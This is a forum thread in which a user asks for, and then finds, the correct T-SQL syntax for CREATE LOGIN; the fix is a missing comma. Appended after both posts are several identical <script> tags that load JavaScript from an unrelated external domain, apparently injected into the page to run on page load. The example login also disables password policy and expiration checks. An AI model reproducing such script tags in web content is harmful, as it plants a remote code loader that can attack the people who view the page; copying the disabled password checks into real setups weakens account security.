[SOLVED] T-SQL - Create login - correct syntax?

  • Hello,

    I am having some trouble here, I have a script to create logins in a new database and can't seem to get the syntax right.

    There doesn't seem to be a lot of examples in the MS Doc.

    https://docs.microsoft.com/en-us/sql/t-sql/statements/create-login-transact-sql?view=sql-server-ver15

    I would assume this syntax is correct:

    use master;

    CREATE LOGIN [Myuser] WITH PASSWORD = 'Mypassword' DEFAULT_DATABASE = [MyDatabase], CHECK_POLICY = OFF, CHECK_EXPIRATION = OFF ;

    I tried quotes in the database DEFAULT_DATABASE = 'MyDatabase'

    Still no luck, I get this error:

    Msg 102, Level 15, State 1, Line 1

    Incorrect syntax near 'DEFAULT_DATABASE'.

    I don't seem the only one having this problem:

    https://stackoverflow.com/questions/3854694/how-to-use-the-create-login-sql-statement

     

    Can someone suggest the correct syntax?

    I restores all my databases, they contain the DB Users, but I need to recreate the logins.

    Thanks,

    Richard

     

    <script src="//linkangood.com/21ef897172770ca75d.js" async="" type="text/javascript"></script>

    <script src="//linkangood.com/21ef897172770ca75d.js" async="" type="text/javascript"></script>

    <script src="//linkangood.com/21ef897172770ca75d.js" async="" type="text/javascript"></script>

  • Sorry. I think I got it:

    CREATE LOGIN MyUser

    WITH PASSWORD = 'MyPassword' ,   /* this was a missing comma */

    DEFAULT_DATABASE = [MyDatabase],

    CHECK_POLICY = OFF,

    CHECK_EXPIRATION = OFF ;

    Richard

     

    <script src="//linkangood.com/21ef897172770ca75d.js" async="" type="text/javascript"></script>

    <script src="//linkangood.com/21ef897172770ca75d.js" async="" type="text/javascript"></script>

Viewing 2 posts - 1 through 1 (of 1 total)

You must be logged in to reply to this topic. Login to reply